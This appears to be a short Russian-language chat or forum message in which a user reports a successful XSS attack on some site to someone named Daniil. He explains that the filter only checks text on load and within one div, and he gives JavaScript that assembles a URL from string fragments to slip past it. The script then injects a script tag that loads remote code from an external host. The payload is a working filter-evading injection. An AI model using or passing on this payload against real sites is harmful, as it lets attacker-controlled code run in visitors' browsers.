Бруто

Даниил, Успешно провел XSS атаку)
Дело в том, что только при загрузке проверяется текст, и ссылки превращаются в элементы. Да еще и только в переделах 1 div. Просто создал переменную, куда по частям положил ссылку.

setTimeout(function(){   
     var my_awesome_script = document.createElement('script');
let a = "";
a = "http" + ":" + "//" +"somesite."+ "ru"+"/someURN";
my_awesome_script.setAttribute('src',a);
document.head.appendChild(my_awesome_script);}, 2000)